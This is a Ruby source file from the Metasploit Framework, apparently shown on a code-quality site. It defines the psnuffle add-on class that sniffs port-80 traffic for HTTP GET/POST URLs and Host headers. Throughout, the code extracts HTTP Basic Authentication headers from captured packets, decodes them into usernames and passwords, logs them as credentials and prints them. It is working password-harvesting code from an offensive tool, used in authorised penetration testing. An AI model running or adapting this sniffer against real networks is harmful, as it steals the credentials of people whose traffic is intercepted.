rapid7/metasploit-framework

View on GitHub
data/exploits/psnuffle/url.rb

Summary

Maintainability
B
4 hrs
Test Coverage
# Psnuffle password sniffer add-on class for HTTP URLs
# part of psnuffle sniffer auxiliary module

#
# Sniffer class for GET/POST URLs.
# Also extracts HTTP Basic authentication credentials.
#
class SnifferURL < BaseProtocolParser
  def register_sigs
    self.sigs = {
      :get        => /^GET\s+([^\n]+)\s+HTTP\/\d\.\d/i,
      :post       => /^POST\s+([^\n]+)\s+HTTP\/\d\.\d/i,
      :webhost      => /^HOST:\s+([^\n\r]+)/i,
      :basic_auth => /^Authorization:\s+Basic\s+([^\n\r]+)/i,
    }
  end

  def parse(pkt)
    # We want to return immediately if we do not have a packet which is handled by us
    return unless pkt.is_tcp?
    return if (pkt.tcp_sport != 80 && pkt.tcp_dport != 80)
    s = find_session((pkt.tcp_sport == 80) ? get_session_src(pkt) : get_session_dst(pkt))

    self.sigs.each_key do |k|

      # There is only one pattern per run to test
      matched = nil
      matches = nil

      if(pkt.payload =~ self.sigs[k])
        matched = k
        matches = $1
        sessions[s[:session]].merge!({k => matches})
      end

      case matched
      when :webhost
        sessions[s[:session]].merge!({k => matches})
        if s[:get]
          print_status("HTTP GET: #{s[:session]} http://#{s[:webhost]}#{s[:get]}")
        end
        if s[:post]
          print_status("HTTP POST: #{s[:session]} http://#{s[:webhost]}#{s[:post]}")
        end
        if s[:basic_auth]
          s[:user], s[:pass] = Rex::Text.decode_base64(s[:basic_auth]).split(':', 2)
          report_cred(
            :ip  => s[:host],
            :port => s[:port],
            :service_name => 'http',
            :user => s[:user],
            :password => s[:pass],
            :type => :password,
            :proof => "Session: #{s[:session]} Basic Auth: #{s[:basic_auth]}",
            :status => Metasploit::Model::Login::Status::UNTRIED
          )
          print_status "HTTP Basic Authentication: #{s[:session]} >> #{s[:user]} / #{s[:pass]}"
        end
      when nil
        # No matches, no saved state
      end # end case matched
    end # end of each_key
  end # end of parse
end # end of URL sniffer